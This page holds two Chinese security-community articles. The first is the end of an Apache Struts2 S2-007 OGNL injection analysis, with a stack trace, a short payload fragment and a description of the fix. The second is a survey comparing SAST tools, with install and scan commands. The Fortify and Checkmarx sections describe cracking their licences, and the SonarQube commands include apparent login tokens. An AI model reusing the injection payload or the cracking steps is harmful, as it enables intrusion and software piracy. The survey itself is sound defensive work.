intercept:270, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:145, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:171, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, I18nInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:164, ServletConfigInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, AliasInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:187, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
execute:52, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:498, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:106, StandardContextValve (org.apache.catalina.core)
invoke:501, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:142, StandardHostValve (org.apache.catalina.core)
invoke:79, ErrorReportValve (org.apache.catalina.valves)
invoke:610, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
service:516, CoyoteAdapter (org.apache.catalina.connector)
process:1086, AbstractHttp11Processor (org.apache.coyote.http11)
process:659, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
process:223, Http11NioProtocol$Http11ConnectionHandler (org.apache.coyote.http11)
doRun:1558, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1515, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
分析到这里，其实可以发现一个问题，首先网上流传的Payload，也就是’+(#application)+’，这里可以换种容易理解的写法，即`' +
#{application} + '`，这样也许大家会更容易分清楚其中OGNL表达式的部分。
## 0x03 修复方案
S2-007的修复方式也是十分的简单粗暴，废话不多说，直接看DIFF：
可以发现，修复方式十分粗暴，就是通过StringEscapeUtils.escapeJava对其进行了一个转义，并且将原先左右两侧的单引号换为了双引号，此时我们则没有办法逃逸这左右两侧的引号了，因为`"`会被转义为`\"`。
## 0x04 一个小问题
在最开始的时候写了，我测试的时候发现某些低版本用不了，这是因为在某些低版本中把`XWorkConverter`这个类给去掉了，因此没有上报错误的这么一个流程了，自然也就无法产生后续错误处理时的漏洞。所以如果想稳定复现，最好还是使用
**2.2.3** 版本进行复现。
## 0x05 吐槽
在分析这个漏洞时自然是参考了网上的一些文章，比如：
* <https://github.com/xhycccc/Struts2-Vuln-Demo/tree/master/s2-007>
* <https://xz.aliyun.com/t/2684>
其中Github中的参考链接是第二个链接，然而实际上第二篇文章的漏洞分析部分有着些许问题，比如这个漏洞压根就不需要编写什么validate.xml，并且实际上触发OGNL表达式的也不是invoke这里，而是后续的调用中。
但这样错误的文章，也还是被抄来抄去的，这里只作吐槽，希望大家复现漏洞时能够在真正了解漏洞之后再去COPY，否则很容易被没复现过这个漏洞的人误解。 | 社区文章 |
## 0x00 写在前面
最近一直在从事SAST相关的工作。在之前SAST方案调研过程中，选取了几款主流的开源项目/商业产品进行本地部署搭建测试，本文是对之前调研过程中的一些笔记进行的梳理和总结。同时，调研过程中也阅读到了非常多优秀的文章，在本文中也会进行引用，这些都是SAST宝贵的学习资料。
读者可根据本文目录，自行选择感兴趣的部分阅读。
## 0x01 SAST基础
### 1.1 SAST简介
**SAST(Static Application Security Testing)**
：静态应用程序安全测试技术，通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。
目前有多款静态代码检测的开源项目，通过对几款项目的调研，可总结出目前优秀的静态代码检测工具的基本流程为：
对于一些特征较为明显的可以使用正则规则直接进行匹配，比如硬编码密码、错误的配置等，但正则的效率是个大问题。
对于 OWASP Top 10 的漏洞，通过预先梳理能造成危害的函数，并定位代码中所有出现该危害函数的地方，继而基于 **Lex(Lexical
Analyzer Generator, 词法分析生成器)** 和 **Yacc(Yet Another Compiler-Compiler,
编译器代码生成器)** 将对应源代码解析为 **AST(Abstract Syntax Tree, 抽象语法树)**
，分析危害函数的入参是否可控来判断是否存在漏洞。通过操作类的字节码返回解释器执行。
大致流程如下图所示（该流程也是目前主流静态代码检测产品的大致流程）：
### 1.2 SAST技术发展阶段
当然静态检测所对应的技术也是经过不断发展。这边推荐阅读 **@LoRexxar**
师傅写的[《从0开始聊聊自动化静态代码审计工具》](https://lorexxar.cn/2020/09/21/whiteboxaudit/#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1)一文，文中详细介绍了静态代码检测技术的几个发展阶段：
技术发展阶段 | 代表工具 | 优点 | 缺点 | 备注
---|---|---|---|---
基于正则-关键字匹配的方案 | **Seay** ：高覆盖，通过简单的关键字匹配更多的目标，后续通过人工审计进行确认；- **Rips免费版**
：高可用性，通过更多的正则约束、更多的规则覆盖多种情况。 | 方案简单，实现起来难度不大 | 1\.
无法保证开发人员的开发习惯及代码编写，误报率及漏报率非常高；2. 无法保证高覆盖及高可用性； 3. 维护成本太大。 |
基于AST(抽象语法树)的方案 | **Cobra** ：侧重甲方的静态自动化代码扫描，侧重低漏报率； **Kunlun-M**
：侧重于白帽子自用，只有准确的流才会认可，否则标记为疑似漏洞，侧重低误报率。 | 在编译处分析代码，无需关注开发人员的开发习惯（编译器是相同）。 | 1\.
无法保证完美处理所有的AST结构； 2. 基于单向流的分析方式，无法覆盖100%的场景；3.
忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，会造成 | 常见的语义分析库：[PHP-Parser](https://github.com/nikic/PHP-Parser)、[phply](https://github.com/viraptor/phply)、[javalang](https://github.com/c2nes/javalang)、[javaparser](https://github.com/javaparser/javaparser)、[pyjsparser](https://github.com/PiotrDabkowski/pyjsparser)、[spoon](https://github.com/INRIA/spoon)
基于IR/CFG这类统一数据结构的方案 | fortify、Checkmarx、Coverity及最新版的Rips：都使用了自己构造的语言的某一个中间部分。
| 较于AST，该方法带有控制流，只需要专注于从Source到Sink的过程即可。 | |
基于QL的方案 | CodeQL：可以将自动化代码分析简化约束为我们需要用怎么样的规则来找到满足某个漏洞的特征。 |
把流的每一个环节具象化，把每个节点的操作具像成状态的变化，并且储存到数据库中。这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。 |
## 0x02 静态代码检测（代码审计）工具调研
本次调研测试，对四个开源项目（两个Java，两个PHP）进行扫描，分别为[DVWA](https://github.com/digininja/DVWA)、[Mutillidae](https://github.com/webpwnized/mutillidae)、[java-sec-code](https://github.com/JoyChou93/java-sec-code)、[OWASP
Benchmark](https://github.com/OWASP/benchmark)。其中OWASP
Benchmark是OWASP组织下的一个开源项目，又叫作OWASP基准测试项目，它是免费且开放的测试套件。它可以用来评估那些自动化安全扫描工具的速度、覆盖范围和准确性，这样就可以得到这些软件的优点和缺点。OWASP
Benchmark计分器的使用可以参考下文 [0x03附录-3.1 OWASP Benchmark计分器使用]()。
### 2.1 Cobra
#### 2.1.1 介绍
一款支持检测多种开发语言中多种漏洞类型的源码审计工具：支持十多种开发语言及文件类型扫描，支持的漏洞类型有数十种。扫描方式支持命令行（通过命令行扫描本地源代码）、界面、API（供内部人员通过GUI的形式访问使用，并可以通过API集成到CI或发布系统中）三种。
对于一些特征较为明显的可以使用正则规则来直接进行匹配出，比如硬编码密码、错误的配置等。Cobra通过预先梳理能造成危害的函数，并定位代码中所有出现该危害函数的地方，继而基于Lex(Lexical
Analyzer Generator, 词法分析生成器)和Yacc(Yet Another Compiler-Compiler,
编译器代码生成器)将对应源代码解析为AST(Abstract Syntax Tree,
抽象语法树)，分析危害函数的入参是否可控来判断是否存在漏洞（目前仅接入了PHP-AST，其它语言AST接入中）。
#### 2.1.2 安装部署
# -安装过程基于docker镜像手动安装-
# 1. 拉取docker镜像
docker pull centos:centos7
docker run -itd --name code_audit_test centos:7
docker exec -it 容器ID bash
# 2. docker内centos容器安装cobra
## 2.1 升级python2.x版本为3.x
cd tmp/
wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz
tar -zxf Python-3.7.3.tgz
yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc libffi-devel
yum install -y libffi-devel
cd Python-3.7.3
./configure --prefix=/usr/local/python3.7
make && make install
## 2.2 备份先前系统默认的python2，创建新的软链接
mv /usr/bin/python /usr/bin/python.bak
ln -s /usr/local/python/bin/python3.7 /usr/bin/python
## 2.3 更改yum配置
vim /usr/bin/yum #将#!/usr/bin/python改为#!/usr/bin/python2
vim /usr/libexec/urlgrabber-ext-down #将#!/usr/bin/python改为#!/usr/bin/python2
# 3. Cobra安装
yum install flex bison phantomjs
git clone https://github.com/WhaleShark-Team/cobra.git && cd cobra
python -m pip install -r requirements.txt
python cobra.py --help
安装完成后，运行截图如下所示：
#### 2.1.3 扫描测试
Cobra运行扫描命令如下：
python cobra.py -t /tmp/source_code_scan/DVWA-master -f json -o /tmp/report.json
扫描完成截图如下所示，扫描出的漏洞以（C-严重、H=高危、M-中危、L-低危）进行分类：
#### 2.1.4 扫描结果对比分析
汇总结果如下（ **误报率及漏报率仅根据官方最新版本默认配置，实际测试结果进行主观大致预估** ）：
#### 2.1.5 调研结果
本次对Cobra的调研结果如下：
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 正则匹配+AST(语义分析，仅PHP) | **优点：** 1\. 代码逻辑及思路较清晰，便于理解及后续拓展；2.
扫描方式支持多种，特别是支持API调用，便于持续集成。
是否支持持续集成 | 提供web接口，便于持续集成 | **缺点：** 1\. 项目目前已没在维护，规则更新停留在三年前，特别是针对组件CVE规则；2.
目前只支持PHP的语义分析（AST），其他语言都是通过正则匹配；3. 误报率/漏报率都非常高，Java更甚。
扫描速度 | 较快 |
数据输入方式 | 命令行模式通过-t参数指定代码工程；API模式通过请求接口指定git工程； |
部署方式 | python脚本直接运行 |
支持语言 |
十多种（包括PHP、Java、Python、Ruby、Go、C++等），详细参考：<http://cobra.feei.cn/languages，语义分析只支持PHP。>
|
漏洞覆盖 |
支持十多种漏洞类型（SQL注入、XSS、命令注入、代码注入、反序列化、不安全第三方组件等等），详细参考：<http://cobra.feei.cn/labels>
|
#### 2.1.6 参考资料
* [Cobra官方文档](http://cobra.feei.cn/)；
* [静态代码审计工具Cobra/Cobra-W/find-sec-bugs](https://blog.csdn.net/caiqiiqi/article/details/104158061/)；
* [代码审计工具 Cobra 源码分析（一）](https://zhuanlan.zhihu.com/p/32363880)；
* [代码审计工具 Cobra 源码分析（二）](https://zhuanlan.zhihu.com/p/32751099)；
### 2.2 KunLun-M(昆仑镜)
#### 2.2.1 介绍
以下内容引用自 **@LoRexxar**
师傅的[《从0开始聊聊自动化静态代码审计工具》](https://lorexxar.cn/2020/09/21/whiteboxaudit/#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1)一文及
[KunLun-M官方Github] (<https://github.com/LoRexxar/Kunlun-M)：>
在Cobra的基础上，深度重构了AST回溯部分，将工具定位在白帽子自用上，侧重于低误报率，进行二次开发。从之前的Cobra-W到现在的KunLun-M，只有准确的流才会认可，否则将其标记为疑似漏洞，并在多个环节定制了自定义功能及记录了详细的日志。
目前的KunLun-M，作者照着phply的底层逻辑，重构了相应的语法分析逻辑。添加了Tamper的概念用于解决自实现的过滤函数。引入了python3的异步逻辑优化了扫描流程等，同时大量的剔除了正则+AST分析的逻辑，因为这个逻辑违背了流式分析的基础，然后新加了Sqlite作为数据库，添加了Console模式便于使用，同时也公开了有关javascript代码的部分规则。
KunLun-M的AST分析流程图如下所示：
#### 2.2.2 安装部署
# -安装过程基于docker镜像手动安装-
# 1. 拉取docker镜像
docker pull centos:centos7
docker run -itd --name code_audit_test centos:7
docker exec -it 容器ID bash
# 将python2.7升级到python3.7
# 系统自带的sqlite3版本过低，需要升级一下sqlite3
wget https://www.sqlite.org/2019/sqlite-autoconf-3270200.tar.gz
tar -zxvf sqlite-autoconf-3270200.tar.gz
./configure --prefix=/usr/local
make && make install
## 备份原先系统版本
mv /usr/bin/sqlite3 /usr/bin/sqlite3_old
## 软链接将新的sqlite3设置到/usr/bin目录下
ln -s /usr/local/bin/sqlite3 /usr/bin/sqlite3
## 将路径传递给共享库
export LD_LIBRARY_PATH="/usr/local/lib"
source ~/.bashrc
## 检查python的SQLite3版本
import sqlite3
sqlite3.sqlite_version
git clone https://github.com/LoRexxar/Kunlun-M
# 安装依赖
pip install -r requirements.txt
# 配置文件迁移
cp Kunlun_M/settings.py.bak Kunlun_M/settings.py
# 初始化数据库
python kunlun.py init initialize
#### 2.2.3 扫描测试
使用console模式，相关命令如下：
# 进入console模式
python kunlun.py console
## 如何扫描源代码
scan #进入扫描模式
set target /tmp/source_code/DVWA-master/ #设置目标
run
## 如何查看扫描结果
showt #查看扫描任务列表
load 1 #加载扫描任务id
show vuls #查看漏洞结果
扫描完成结果如下图所示：
#### 2.2.4 扫描结果分析
汇总结果如下（ **误报率及漏报率仅根据官方最新版本默认配置，实际测试结果进行主观大致预估** ）：
#### 2.2.5 调研结果
本次对KunLun-M的调研结果如下：
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 正则匹配+深度优化的AST(语义分析，仅PHP) | **优点：** 1\. 该项目开源并持续维护中；2.
比Cobra更优的AST语义分析；3. 代码逻辑及思路较清晰，便于理解及后续拓展。
是否支持持续集成 | 未提供web接口，但命令行模式也便于持续集成 | **缺点：** 1\.
支持语言较少，目前主要是PHP和Javascript，不支持Java；2. 误报率/漏报率较高。
扫描速度 | 速度一般 |
数据输入方式 | 命令行模式通过`-t`指定代码工程；console模式通过`set target`指定代码工程； |
部署方式 | python脚本直接运行 |
支持语言 | 目前主要支持 **php、javascript** 的语义分析，以及 **chrome ext, solidity** 的基础扫描 |
漏洞覆盖 | 支持十多种漏洞类型（SQL注入、XSS、命令注入、代码注入、反序列化等等） |
#### 2.2.6 参考资料
* [Kunlun-M 官方Github](https://github.com/LoRexxar/Kunlun-M)；
* [构造一个CodeDB来探索全新的白盒静态扫描方案](https://lorexxar.cn/2020/10/30/whitebox-2/)；
* [从0开始聊聊自动化静态代码审计工具](https://lorexxar.cn/2020/09/21/whiteboxaudit/#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1)；
### 2.3 Hades
#### 2.3.1 介绍
以下内容引用[Hades的官方Github](https://github.com/zsdlove/Hades)：
Hades静态代码脆弱性检测系统是默安开源的针对Java源码的白盒审计系统，该系统使用 **smali字节码的虚拟解释执行引擎** 对Java源码进行分析。
Hades系统整体的执行流程示意图如下：
**smali字节码** ：程序的编译一般经过六个流程，即词法分析、语法分析、语义分析、中间代码生成、代码优化、目标代码生成。
* 词法分析：主要是对输入的源码文件中的字符从左到右逐个进行分析，输出与源代码等价的token流；
* 语法分析：主要是基于输入的token流，根据语言的语法规则，做一些上下文无关的语法检查，语法分析结束之后，生成AST语法树；
* 语义分析：主要是将AST语法树作为输入，并基于AST语法树做一些上下文相关的类型检查；
* 生成中间代码：语义分析结束后，生成中间代码，而此时的中间代码，是一种易于转为目标代码的一种中间表示形式；
* 代码优化：针对中间代码进行进一步的优化处理，合并其中的一些冗余代码，生成等价的新的中间表示形式，最后生成目标代码。
相较java字节码来说，smali字节码更加的简单，因为smali字节码是一种基于寄存器的指令系统，它的指令是二地址和三地址混合的，指令中指明了操作数的地址。而JVM是基于栈的虚拟机，JVM将本地变量放到一个本地变量列表中，在进行指令解释的时候，将变量push到操作数栈中，由操作码对应的解释函数来进行解释执行。所以，java字节码操作无疑会比smali字节码更复杂一些，复杂主要体现在后续的堆栈设计以及代码解释执行。
想更深入的原理及实现思路可参考官方Github，作者编写了很详细的文档介绍。
#### 2.3.2 安装部署
docker build -t hades .
docker run -p 8088:8088 hades
# 访问
http://127.0.0.1:8088/geekscanner
#### 2.3.3 扫描测试
目前项目bug较多，本地搭建报错，暂未进行详细分析。
#### 2.3.4 扫描结果分析
目前项目bug较多，本地搭建报错，暂未进行详细分析。
根据官方文档的测试结果，对Java的白盒分析效果还可以。
#### 2.3.5 调研结果
本次对Hades的调研结果如下：
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 基于smail字节码的虚拟解释执行引擎 | **优点：** 1\. 该项目思路及方案很好，值得深入研究。
是否支持持续集成 | 有web页面，便于持续集成 | **缺点：** 1\. 项目部署报错，无法本地搭建测试；2. 目前仅支持Java语言；
扫描速度 | 速度一般 |
数据输入方式 | 页面手动上传，支持上传.zip, .jar, .apk |
部署方式 | docker |
支持语言 | 目前支持Java，Android部分未公开 |
漏洞覆盖 | 支持多种漏洞类型 |
#### 2.3.6 参考资料
* [Hades官方GitHub](https://github.com/zsdlove/Hades)；
* [PPT：基于虚拟执行技术的静态代码审计系统内幕揭秘](https://github.com/zsdlove/Hades/blob/master/%E5%9F%BA%E4%BA%8E%E8%99%9A%E6%8B%9F%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF%E7%9A%84%E9%9D%99%E6%80%81%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9F%E5%86%85%E5%B9%95%E6%8F%AD%E7%A7%98.pdf)；
* [DevSecOps建设之白盒篇](https://www.freebuf.com/articles/es/259762.html);
### 2.4 Fortify
#### 2.4.1 介绍
Fortify是一款商业级的静态应用程序安全性测试 (SAST) （源码扫描）工具。其工作示意图如下所示：
其大致扫描原理是：扫描分析分为两个阶段：Translation和Analysis。
* Translation: 源码词法分析/语义分析，把各种扫描语言源码转为一种统一的中间语言代码（中间表现形式）。
* Analysis: 再对中间表现形式进行安全性分析。
#### 2.4.2 安装部署
**安装** ：.exe安装程序双击运行，安装过程中选择license ，安装完成后，最后一个关于软件更新的选项不进行勾选。安装完成后将`fortify-common-20.1.1.0007.jar`包复制到Fortify安装目录的`\Core\lib`目录下进行破解，然后需要把 `rules`
目录的规则文件拷贝到安装目录下的 `Core\config\rules` 的路径下（该路径下保存的是Fortify的默认规则库）。
**运行** ：点击安装目录`\bin`目录下的`auditworkbench.cmd`运行Fortify。运行页面如下所示：
#### 2.4.3 扫描测试
点击Advanced Scan -> 选择待扫描的项目 -> 做些简单配置（参见下图） -> 点击“scan”开始扫描：
扫描完成截图如下所示：
#### 2.4.4 扫描结果分析
汇总结果如下（ **误报率及漏报率仅根据官方最新版本默认配置，实际测试结果进行主观大致预估** ）：
Benchmark计分器自动分析Fortify结果如下图所示：
**上图表中的关键字** ：
* TP: 真实漏洞中，代码分析工具正确扫描出来的真实漏洞数量；
* FN: 真实漏洞中，代码分析工具误报的漏洞数量；
* TN: 假的漏洞中，代码分析工具正确未扫描出来的漏洞数量；
* FP: 假的漏洞中，代码分析工具误报成真漏洞的数量；
* TPR = TP / ( TP + FN ): 代码分析工具正确检出真实漏洞的检出率；
* FPR = FP / ( FP + TN ): 代码分析工具将假漏洞报告为真实漏洞的误报率；
* Score = TPR - FPR: 随机猜测与标准线的差距；
#### 2.4.5 调研结果
本次对Fortify的调研结果如下：
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 词法分析/语义分析，把各种扫描语言源码转为一种统一的中间表现形式，再对该中间表现形式进行安全性分析 | **优点** ：1.
误报率/漏报率表现良好，检出漏洞类型丰富；
是否支持持续集成 | windows版本不好持续集成，Linux版本可以 | **缺点** ：1. 不支持第三方不安全组件引用的检测；2.
持续集成需要定制开发；
扫描速度 | 速度良好 |
数据输入方式 | windows版本新建任务时选择源码目录；Linux通过命令行指定源码目录； |
部署方式 | windows/Linux |
支持语言 | 支持27+种开发语言（参见：<https://www.microfocus.com/en-us/fortify-languages）> |
漏洞覆盖 | 支持多种漏洞类型（SQL注入、XSS、命令注入、代码注入、反序列化等等）
#### 2.4.6 参考资料
* [C/C++源码扫描系列- Fortify 篇](https://xz.aliyun.com/t/9276)；
* [代码安全审计（二）Fortify介绍及使用教程](https://www.jianshu.com/p/af331efb84a9)；
### 2.5 CheckMarx
#### 2.5.1 介绍
以下内容引用自Checkmarx官方文档：
Checkmarx是以色列的一家科技软件公司开发的产品。Checkmarx
CxSAST是其独特的源码分析解决方案，它提供了用于识别、跟踪和修复源代码中的技术和逻辑缺陷（例如安全漏洞，合规性问题和业务逻辑问题）的工具。无需构建或编译源码，CxSAST可以构建代码元素和流程的逻辑图，随后CxSAST可以查询这个内部代码的示意图。CxSAST带有一个广泛的列表，其中包含数百个针对每种编程语言的已知安全漏洞的预配置查询。使用
CxSAST Auditor 工具，也可以为安全、合规、业务逻辑问题等写规则配置附加查询。
CxSAST可以集成到软件开发周期的多个流程中。例如，使用软件构建自动化工具（Apache Ant和Maven），
软件开发版本控制系统（GIT），问题跟踪和项目管理软件（JIRA），存储库托管服务（GitHub），应用程序漏洞管理平台（ThreadFix），持续集成平台（Bamboo和Jenkins），持续代码质量检查平台（SonarQube）和源代码管理工具（TFS）等。
CxSAST部署在服务器上，可以通过web页面或IDE插件进行访问（Eclipse，Visual
Studio和IntelliJ）。CxSAST系统架构支持集中式架构（所有服务器组件都安全在同一台主机上）、分布式架构（服务器组件都安装在不同的专用主机上）、高可用架构（多个管理器可用于控制系统管理，确保在一个管理器发生故障时，系统将继续全面运行）。
CxSAST 包含组件如下：
**CxSAST** **服务器组件** ：
* **CxEngine** ：执行代码扫描；
* **数据库** ：保存扫描结果和系统设置；
* **CxManager** ：管理系统，执行所有系统功能和集成系统组件；
* **CxSAST Web客户端** ：控制 CxManager 操作的主界面（例如开始扫描、查看结果和生成报告）。
#### 2.5.2 安装部署
之前在win10系统进行安装部署，安装过程花了很长时间，安装完成后，一直无法登录成功，后面抓包看了下，登录会返回500错误。后面了解了下，可能是因为操作系统版本问题（但是官方文档说是支持win10系统安装的），随后装了个Windows
Server 2012的虚拟机，安装过程一遍成功，且可正常使用。
相关机器配置需求可参考官方文档：服务器主机要求(<https://checkmarx.atlassian.net/wiki/spaces/KC/pages/126491572/Server+Host+Requirements+cn)，Windows>
Server 2012虚拟机的配置如下：
> 6G内存、60GB硬盘空间、处理器核心总数4个
安装过程如下：
1. 双击`CxSetup_8.6.0.exe`运行安装，当进行到“提示输入license文件”时，选择“Request New License”，随后等待安装完成；
2. 待安装完成后，将`Crack`目录拷贝到Checkmarx的安装目录下（例如默认的安装目录：`C:\Program Files\Checkmarx`）；
3. 随后进入Checkmarx安装目录下的`Crack`目录，以管理员权限运行`CRACK.bat`,待脚本执行完成，Checkmarx就被破解成功了；
4. 双击桌面上的"Checkmarx Portal"图标开始使用Checkmarx 。
相关过程安装截图如下：
* **运行** ：
第一次运行页面会提示设置用户名密码，随后即可使用用户名密码登录：
登录成功后，页面如下所示：
在“我的配置”页面，可配置语言为中文简体：
#### 2.5.3 扫描测试
点击“项目组和扫描”->
“创建新的扫描”，一步步进行配置，在源码获取方式处上传zip格式代码文件，配置调度（现在执行/或配置其他时间执行），随后即可进行扫描：
正在扫描中的任务，会在“项目组和扫描” -> “队列”中显示。扫描完成的任务，可以在“项目组和扫描” -> “全部扫描”或“仪表盘” ->
"项目状态"中显示：
扫描完成截图如下所示：
#### 2.5.4 扫描结果分析
汇总结果如下（ **误报率及漏报率仅根据官方最新版本默认配置，实际测试结果进行主观大致预估** ）：
Benchmark计分器自动分析Checkmarx结果如下图所示：
**上表中的关键字** ：
* TP: 真实漏洞中，代码分析工具正确扫描出来的真实漏洞数量；
* FN: 真实漏洞中，代码分析工具误报的漏洞数量；
* TN: 假的漏洞中，代码分析工具正确未扫描出来的漏洞数量；
* FP: 假的漏洞中，代码分析工具误报成真漏洞的数量；
* TPR = TP / ( TP + FN ): 代码分析工具正确检出真实漏洞的检出率；
* FPR = FP / ( FP + TN ): 代码分析工具将假漏洞报告为真实漏洞的误报率；
* Score = TPR - FPR: 随机猜测与标准线的差距；
#### 2.5.5 调研结果
本次对Checkmarx的调研结果如下：
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 将代码进行语法树分析，分析代码中的数据流，并将整个代码中的数据流存储到sql
server数据库中，可以理解成一张庞大的数据流网，这个分析比较吃内存。随后匹配规则（checkmarx自带了各种规则，也可以自己编写规则），规则也叫query，意思就是从整个数据流网中查找我们关心的数据流。
| **优点** ：1. 误报率/漏报率表现良好；2. 对CI集成很友好，支持多种集成方式；3. 提供接口，可进行定制开发；4.
web页面操作简单，报告类型较丰富；
是否支持持续集成 | Checkmarx支持与Jenkins、TFS、 Bamboo、TeamCity等做持续集成：[CI/CD
Plugins](https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1339129990/CI+CD+Plugins)，也有提供接口可进行二次开发做持续集成
| **缺点：** 1\. 部署及扫描分析过程依赖机器配置；2. 默认的规则基本上实用性比较差，自己定制规则比较复杂费时；3.
前后端分离的项目分析无法支持，比如后端spring mvc，前端vue就无法关联分析了；4. 也不支持 vue、react等框架文件的分析；
扫描速度 | 速度一般（依赖机器配置） |
数据输入方式 | 通过git、svn、或者上传.zip格式的源码包 |
部署方式 | Windows + SQL Server，支持集中部署、分布式部署、高可用部署 |
支持语言 |
支持25+种开发语言（参见：<https://checkmarx.atlassian.net/wiki/spaces/KC/pages/244810229/8.6.0+Supported+Code+Languages+and+Frameworks）>
|
漏洞覆盖 |
支持漏洞类型非常多（参见：<https://checkmarx.atlassian.net/wiki/spaces/KC/pages/244745198/8.6.0+Vulnerability+Queries?preview=/244745198/244712034/Vulnerability%20Queries%20for%20v8.6.0.pdf）>
#### 2.5.6 参考资料
* [Checkmarx官方文档-知识中心](https://checkmarx.atlassian.net/wiki/home)；
### 2.6 SonarQube
#### 2.6.1 介绍
SonarQube通过检查代码并查找错误和安全漏洞来提供静态代码分析。SonarQube是由SonarSource开发的一款开源工具。其中Community
Edition版本提供静态代码分析功能，可支持Java，JavaScript to Go和Python等约15种语言。通过 SonarQube
可以检测出项目中潜在的Bug、漏洞、代码规范、重复代码、缺乏单元测试的代码等问题，并提供了 UI 界面进行查看和管理。
架构如下图所示：
#### 2.6.2 安装部署
* **docker部署SonarQube：**
# 创建个独立网段（因为在测试机部署，可能跟其他同事的业务网段冲突，所以我这边直接建个新网段）
docker network create --subnet 172.41.0.0/16 --driver bridge sonarnet
docker pull sonarqube:8.8-community
docker run --name sonarqube --net=sonarnet \
--restart always \
-p 9000:9000 \
-v /sonarqube/data:/opt/sonarqube/data \
-v /sonarqube/extensions:/opt/sonarqube/extensions \
-v /sonarqube/logs:/opt/sonarqube/logs \
-d sonarqube:8.8-community
* **安装中文汉化包：**
Administration -> Marketplace ，搜索 chinese ， install Chinese Pack，随后重启即可：
* **安全相关规则集成：**
SonarQube自带的规则对代码Bug的检查支持比较友好，跟安全相关的规则比较少。网上查找了很多相关资料，针对PHP的安全相关规则很少，故后文对PHP的扫描测试只能使用默认规则；针对Java比较好的方案是：在SonarQube使用Dependency-Check + SpotBugs的FindBugs Security Audit规则：
* [Dependency-Check](https://www.owasp.org/index.php/OWASP_Dependency_Check)：Owasp开发的一款工具，用户检测项目中的依赖关系中是否包含公开披露的漏洞；
* [SpotBugs](https://github.com/spotbugs/sonar-findbugs/)：是Findbugs的继任者（Findbugs已经于2016年后不再维护），用于对Java代码进行静态分析，查找相关的漏洞，SpotBugs比Findbugs拥有更多的校验规则。
> 安装FindBugs：
> 安装Dependency-Check：
#### 2.6.3 扫描测试
由于SonarQube对于安全问题的扫描，依赖第三方的规则。故下文的扫描测试，我们分别使用不同的规则进行测试。
##### 2.6.3.1 扫描PHP项目（使用SonarQube默认规则）
使用默认的规则，故直接默认配置即可。步骤如下：
新建项目 -> 创建令牌 -> 构建技术选择PHP、操作系统选择Linux：
参照上图中的示例命令，扫描端执行的命令如下：
/home/sonar-scanner-4.6.0.2311-linux/bin/sonar-scanner \
-Dsonar.projectKey=Dvwa-Scan \
-Dsonar.sources=. \
-Dsonar.host.url=http://10.0.3.158:9000 \
-Dsonar.login=f3111c1b761d376c5091d5cf674390efdd41df09
待扫描完成后，页面上就可以看到扫描数据。
##### 2.6.3.2 扫描Java项目（使用SonarQube默认规则）
使用默认的规则，故也直接默认配置即可。步骤如下：
新建项目 -> 创建令牌 -> 构建技术选择Maven、操作系统选择Linux：
参照上图中的示例命令，扫描端执行的命令如下：
mvn sonar:sonar \
-Dsonar.projectKey=benchmark_findbugs_scan \
-Dsonar.java.binaries=target/classes \
-Dsonar.host.url=http://10.0.3.158:9000 \
-Dsonar.login=27a9b110822fcfd1828d8ac0f1a07c6b857d331a
##### 2.6.3.3 扫描Java项目（使用Dependency-Check + SpotBugs的FindBugs Security
Audit规则）
扫描端执行的命令如下使用及扫描过程会相对繁琐，具体流程如下：
(1) 编译项目：
# 扫描端：待扫描的源码目录下先编译项目
mvn clean install -DskipTests
(2) Dependency扫描并生成xml报告：
# 扫描端：使用Dependency进行扫描，并生成xml报告
